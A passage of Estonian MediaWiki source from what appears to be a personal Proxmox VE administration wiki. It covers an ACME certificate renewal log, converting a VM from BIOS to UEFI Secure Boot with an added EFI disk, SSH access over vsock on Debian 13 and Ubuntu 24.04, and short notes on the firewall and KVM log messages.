The validation for pve-wrx90e.auul.pri.ee is pending!&lt;br /&gt;
Setting up webserver&lt;br /&gt;
Triggering validation&lt;br /&gt;
Sleeping for 5 seconds&lt;br /&gt;
Status is 'valid', domain 'pve-wrx90e.auul.pri.ee' OK!&lt;br /&gt;
&lt;br /&gt;
All domains validated!&lt;br /&gt;
&lt;br /&gt;
Creating CSR&lt;br /&gt;
Checking order status&lt;br /&gt;
Order is ready, finalizing order&lt;br /&gt;
valid!&lt;br /&gt;
&lt;br /&gt;
Downloading certificate&lt;br /&gt;
Setting pveproxy certificate and key&lt;br /&gt;
Restarting pveproxy&lt;br /&gt;
Revoking old certificate&lt;br /&gt;
Revoke request to CA failed: Error: POST to https://acme-v02.api.letsencrypt.org/acme/revoke-cert&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;type&amp;quot;: &amp;quot;urn:ietf:params:acme:error:unauthorized&amp;quot;,&lt;br /&gt;
  &amp;quot;detail&amp;quot;: &amp;quot;Unable to revoke :: Certificate is expired&amp;quot;,&lt;br /&gt;
  &amp;quot;status&amp;quot;: 403&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pveupgrade====&lt;br /&gt;
&lt;br /&gt;
* uuendab süsteemi apt paketihaldusega tarkvara&lt;br /&gt;
&lt;br /&gt;
===BIOS arvuti teisendamine UEFI arvutiks===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Peamised kaalutlused BIOS arvuti teisendamisel UEFI arvutiks&lt;br /&gt;
&lt;br /&gt;
* vajadus saada osa secure boot lahendusega kaasnevast turvalisusest&lt;br /&gt;
* nö täieline reinstall oleks liiga aeganõudev, kohmakas jne&lt;br /&gt;
&lt;br /&gt;
Muudatus seisneb virtuaalsele arvutile täiendava nö esimese plokkseadme lisamisel, suurusega 1 G. Sinna moodustatakse gpt partitsioonitabel ning vfat failisüsteem, ja ta vastab nö kataloogile /boot/efi, sinna ta ka monteeritakse kokkuvõttes. Juurfailisüsteem ja muu jääb sinna kus ta seni on olnud. Oluline on, et muudatuse käigus ei muudeta olemasoleva plokkseadme partitsioonitabelit ega lvm vms, st ebaõnnestumisel saab pöörduda tagasi kergesti (varundus peaks aga siiski olema olemas).&lt;br /&gt;
&lt;br /&gt;
====Muudatuse protseduur====&lt;br /&gt;
&lt;br /&gt;
Enne muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -T -h -t ext4&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisatakse töötavale arvutile 1 g plokkseade&lt;br /&gt;
&lt;br /&gt;
 Hardware -&amp;gt; Add disk -&amp;gt; ...&lt;br /&gt;
&lt;br /&gt;
Veendutakse, mis on konkreetsel juhtumil 1 g lisatud plokkseadme nimi, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdb -l&lt;br /&gt;
Disk /dev/vdb: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
edasi käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install parted&lt;br /&gt;
&lt;br /&gt;
# parted /dev/vdb mklabel gpt&lt;br /&gt;
# parted /dev/vdb mkpart primary fat32 1MiB 100%&lt;br /&gt;
# parted /dev/vdb set 1 esp on&lt;br /&gt;
# mkfs.vfat -F 32 /dev/vdb1&lt;br /&gt;
# mkdir -p /boot/efi&lt;br /&gt;
# blkid /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muuta /etc/fstab faili, st lisada üks rida olemaoleva /boot rea alla, uuid on mitte partitsiooni, aga vfat failisüsteemi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab&lt;br /&gt;
..&lt;br /&gt;
UUID=XXXX-XXXX  /boot/efi       vfat    defaults        0       2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl daemon-reload&lt;br /&gt;
# mount /boot/efi&lt;br /&gt;
# apt update&lt;br /&gt;
# apt install grub-efi-amd64-signed shim-signed mokutil&lt;br /&gt;
# grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian --removable&lt;br /&gt;
# update-grub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# find /boot/efi/ -type f -ls&lt;br /&gt;
      115    932 -rwxr-xr-x   1 root     root       952384 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.EFI&lt;br /&gt;
      116   2624 -rwxr-xr-x   1 root     root      2685544 mai   17 12:00 /boot/efi/EFI/BOOT/grubx64.efi&lt;br /&gt;
      117    832 -rwxr-xr-x   1 root     root       851368 mai   17 12:00 /boot/efi/EFI/BOOT/mmx64.efi&lt;br /&gt;
      118      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.CSV&lt;br /&gt;
      119      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# cat /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
search.fs_uuid 5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1 root&lt;br /&gt;
set prefix=($root)'/grub'&lt;br /&gt;
configfile $prefix/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/vda1&lt;br /&gt;
/dev/vda1: UUID=&amp;quot;5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1&amp;quot; BLOCK_SIZE=&amp;quot;1024&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;cfa36d3a-01&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Õeldakse virtuaalsele arvutile poweroff ja muudetakse seadistusi&lt;br /&gt;
&lt;br /&gt;
* lisatakse 'EFI Disk' (virtuaalne efi riistvara seadistuste salvestamine jms)&lt;br /&gt;
* muudetakse bios -&amp;gt; uefi&lt;br /&gt;
* muudetakse chipset i440fx -&amp;gt; q35&lt;br /&gt;
* muudetakse display default -&amp;gt; virtio-gpu&lt;br /&gt;
&lt;br /&gt;
Peale muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-02.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Lisaks on boot järjekorra seadmed muudetud&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-03.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tingimata vajalik on virtio1 ja virtio0 - esimesel on bootload ja grub.cfg lühike konf, teisel on konfi sisuline osa&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab arvuti uefi secure boot režiimis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# df -t vfat -t ext4 -T -h&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
/dev/vdb1                         vfat 1020M  8,7M 1012M   1% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kõige lõpus võiks veel öelda, nii tekivad nö naturaalsed efibootmgr ja /boot/efi sissekanded nagu nad oleks seal nö sündinud-uefi'na arvutil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
&lt;br /&gt;
# grub-install /dev/vdb&lt;br /&gt;
Installing for x86_64-efi platform.&lt;br /&gt;
Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0004,0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0004* debian	HD(1,GPT,0fb8cfd1-c90b-4da2-97db-ceda14464a90,0x800,0x1ff000)/File(\EFI\proxmox\shimx64.efi)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Boot Order märkused====&lt;br /&gt;
&lt;br /&gt;
PVE webgui Boot Order määrab kaks&lt;br /&gt;
&lt;br /&gt;
* millised plokkseadmed osalevad uefi faasis&lt;br /&gt;
* millised järjekorras plokkseadmed osalevad uefi faasis alglaadimisel&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult üks seade&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-05.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult kaks seadet&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-04.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Antud juhul on see väga oluline kuna grub alglaadur on kahel seadmel laiali&lt;br /&gt;
&lt;br /&gt;
* grub.efi rakendus asub /dev/vdb&lt;br /&gt;
* grub.conf seadistus asub /dev/vda&lt;br /&gt;
&lt;br /&gt;
Kui Boot Order on linnutatud vaid /dev/vda, siis peatub arvuti käivitumine 'grub&amp;gt;' prompt juures. Selles mõttes võiks olla PVE webgui osakonna nimeks nt 'UEFI device visibility and Boot Order'.&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 26.04 ja Debian v. 13===&lt;br /&gt;
&lt;br /&gt;
Osutub, et uuemal ajal, st PVE v. 9, Debian v. 13 virtuaalne avuti on võimalik PVE host pealt pöörduda guest poole üle ssh kasutades vsock protokolli (mitte tavalist tcp/ip protokollil põhinevat võrku). Selleks tuleb virtuaalsele arvutile lisada PVE platvormi poolt vsock tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# head -n 1 /etc/pve/qemu-server/50056.conf&lt;br /&gt;
args: -device vhost-vsock-pci,guest-cid=50056&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja virtuaalsel arvutil peab olema tarkvaraline vsock tugi. Nt Debian v. 13 puhul on sshd serverisse see integreeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl | grep ssh&lt;br /&gt;
  ssh.service                                                                                           loaded active running   OpenBSD Secure Shell server&lt;br /&gt;
  sshd@2-50056:22-2:3327097365.service                                                                  loaded active running   OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097364)&lt;br /&gt;
  system-sshd.slice                                                                                     loaded active active    Slice /system/sshd&lt;br /&gt;
  sshd-unix-local.socket                                                                                loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local)&lt;br /&gt;
  sshd-vsock.socket                                                                                     loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK)&lt;br /&gt;
  ssh-access.target                                                                                     loaded active active    SSH Access Available&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd-ssh-generator on selline süsteem, mis käigult avastab süsteemi võimekusi ja vastavalt seadistab teenustele omadusi (nt ssh puhul lülitatakse sisse vsock tugi)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl status sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
● sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365)&lt;br /&gt;
     Loaded: loaded (/usr/lib/systemd/system/sshd@.service; static)&lt;br /&gt;
     Active: active (running) since Mon 2026-06-01 00:04:39 EEST; 16s ago&lt;br /&gt;
 Invocation: 84acdad56690460e8e0fbffd2ecd4d69&lt;br /&gt;
TriggeredBy: ● sshd-vsock.socket&lt;br /&gt;
       Docs: man:sshd(8)&lt;br /&gt;
             man:sshd_config(5)&lt;br /&gt;
   Main PID: 876 (sshd-session)&lt;br /&gt;
      Tasks: 1 (limit: 6978)&lt;br /&gt;
     Memory: 1.8M (peak: 3.9M)&lt;br /&gt;
        CPU: 27ms&lt;br /&gt;
     CGroup: /system.slice/system-sshd.slice/sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
             ‣ 876 &amp;quot;sshd-session: root [priv]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Jun 01 00:04:39 unifi-oss systemd[1]: Started sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365).&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: Accepted publickey for root from UNKNOWN port 65535 ssh2: ED25519 SHA256:3cj7QCk4leNOSQJlfeUeHr6YfsA0r3bRUqZS9Rey3jM&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* triggered by 'sshd-vsock.socket'&lt;br /&gt;
&lt;br /&gt;
ssh kliendi st pve host poolel peab olema teadmine, kuidas käituda kui üritatakse kasutada vsock protokolli üle sshd serverit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /lib/systemd/ssh_config.d/20-systemd-ssh-proxy.conf&lt;br /&gt;
# SPDX-License-Identifier: LGPL-2.1-or-later&lt;br /&gt;
#&lt;br /&gt;
# Allow connecting to the local host directly via &amp;quot;.host&amp;quot;&lt;br /&gt;
Host .host machine/.host&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
# Make sure unix/* and vsock/* can be used to connect to AF_UNIX and AF_VSOCK paths.&lt;br /&gt;
# Make sure machine/* can be used to connect to local machines registered in machined.&lt;br /&gt;
#&lt;br /&gt;
Host unix/* vsock/* machine/*&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
        # Disable all kinds of host identity checks, since these addresses are generally ephemeral.&lt;br /&gt;
        StrictHostKeyChecking no&lt;br /&gt;
        UserKnownHostsFile /dev/null&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb kasutada 'man systemd-ssh-proxy' utiliiti&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50056&lt;br /&gt;
Warning: Permanently added 'vsock/50056' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Sun May 31 23:53:37 2026 from 192.168.10.156&lt;br /&gt;
root@unifi-oss:~#&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 23:59:55 up 6 min,  2 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/1    -                23:59    1.00s  0.00s   ?    w&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* vsock kaudu lähenemise puhul on iseloomulik 'FROM -' (tavaliselt on seal src ip aadress)&lt;br /&gt;
&lt;br /&gt;
Peale kasutaja sisselogimist paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ss -a -p --vsock&lt;br /&gt;
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port         Process&lt;br /&gt;
v_str    LISTEN    0         0                        *:22                    *:*             users:((&amp;quot;systemd&amp;quot;,pid=1,fd=66))&lt;br /&gt;
v_str    ESTAB     0         0                    50056:22                    2:3327097366    users:((&amp;quot;sshd-session&amp;quot;,pid=914,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=914,fd=6),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=6),(&amp;quot;systemd&amp;quot;,pid=1,fd=8))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* af_vsock osakonnas on sarnasel af_inet osakonnale ka listen socket ning 'active connected socket'&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal on ssh agar kuulama ka af_unix soketil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# screendump | grep -i ssh&lt;br /&gt;
[  OK  ] Listening on sshd-unix-local.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local).&lt;br /&gt;
[  OK  ] Listening on sshd-vsock.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK).&lt;br /&gt;
[  OK  ] Reached target ssh-access.target - SSH Access Available.&lt;br /&gt;
         Starting ssh.service - OpenBSD Secure Shell server...&lt;br /&gt;
[  OK  ] Started ssh.service - OpenBSD Secure Shell server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja tõesti, lokaalselt saab arvutisse logida sisse nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
Warning: Permanently added 'unix/run/ssh-unix-local/socket' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Mon Jun  1 00:16:42 2026 from UNKNOWN&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 00:16:44 up 23 min,  3 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/2    -                00:16    1.00s  0.00s   ?    w&lt;br /&gt;
root     pts/1    -                00:16    2.00s  0.00s   ?    ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/Linux_operatsioonis%C3%BCsteemis_t%C3%B6%C3%B6tab_v%C3%B5rgu%C3%BChendus#systemd_kasutamine_network-proxy_rollis&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 24.04===&lt;br /&gt;
&lt;br /&gt;
Ettevalmistavalt tuleb 22/tcp seadistada käima ainult konkreetselt ip aadressil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Liste /etc/ssh/sshd_config&lt;br /&gt;
ListenAddress 192.168.10.194&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# systemctl status ssh.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures vastav systemd ssh listen osakond jääb nagu on, 0.0.0.0/0 peale&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Lis /usr/lib/systemd/system/ssh.socket&lt;br /&gt;
ListenStream=0.0.0.0:22&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* väidetavalt on see vajalik mingi sistemise systemd/ssh jne loogika toimimiseks.&lt;br /&gt;
&lt;br /&gt;
ja laadida kerneli moodul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# modprobe vmw_vsock_virtio_transport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu 24.04 keskkonnas on tehniliselt kõik vajalik vsock kasutamiseks olemas, tuleb lisada kaks system elementi&lt;br /&gt;
&lt;br /&gt;
* sshd-vsock.socket - õpetab systemd pid=1 protsessile kuulama võrgus 22/vsock pordil&lt;br /&gt;
* sshd-vsock@.service - õpetab 22/vsock pordile sissetuleva pöördumist üleandmist sshd protsessile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ls -ld /etc/systemd/system/sshd-vsock*&lt;br /&gt;
-rw-r--r-- 1 root root 380 Jun 20 15:38 /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
-rw-r--r-- 1 root root 265 Jun 20 13:33 /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket (AF_VSOCK Network-Independent Line)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
# Notice: No &amp;quot;Conflicts=&amp;quot; or &amp;quot;Before=&amp;quot; entries are needed here!&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=vsock::22&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket Per-Connection Daemon (VSOCK Backup)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
After=auditd.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
# The -i flag forces sshd to run in &amp;quot;inetd&amp;quot; mode to accept the raw systemd socket&lt;br /&gt;
ExecStart=-/usr/sbin/sshd -i $SSHD_OPTS&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
RuntimeDirectory=sshd&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena kuulatakse 22/vsock peal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl list-sockets | grep ssh&lt;br /&gt;
192.168.10.194:22                     ssh.socket                      ssh.service&lt;br /&gt;
vsock::22                             sshd-vsock.socket               -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Proxmox VE Firewall===&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Probleeme tekitada võiv kombinatsioon, vältida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; network device -&amp;gt; Firewall - Enable&lt;br /&gt;
* Firewall -&amp;gt; Option - No&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/pve-docs-7/chapter-pve-firewall.html&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pve 9 ja qemu 11 kandis on hakanud ilmuma 'x86_64 v2 aes' virtuaalse protsessori kasutamisel sellised teated, nt 'host' protsessoriga neid ei ole&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveversion&lt;br /&gt;
pve-manager/9.2.3/d0fde103346cf89a (running kernel: 7.0.6-2-pve)&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# dmesg | grep WRMSR | tail -n 4&lt;br /&gt;
[30021.694536] kvm: kvm [323176]: vcpu0, guest rIP: 0xffffffffb807e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30090.614209] kvm: kvm [324048]: vcpu0, guest rIP: 0xffffffff84e6d9b4 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30308.798770] kvm: kvm [326811]: vcpu0, guest rIP: 0xffffffff8d67e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[180421.745980] kvm: kvm [3632532]: vcpu0, guest rIP: 0xffffffff81242297 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===arm64 platvormi emuleerimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et PVE v. 9.2 juures ilmub webgui peale vcpu valik 'arm (64-bit)'&lt;br /&gt;
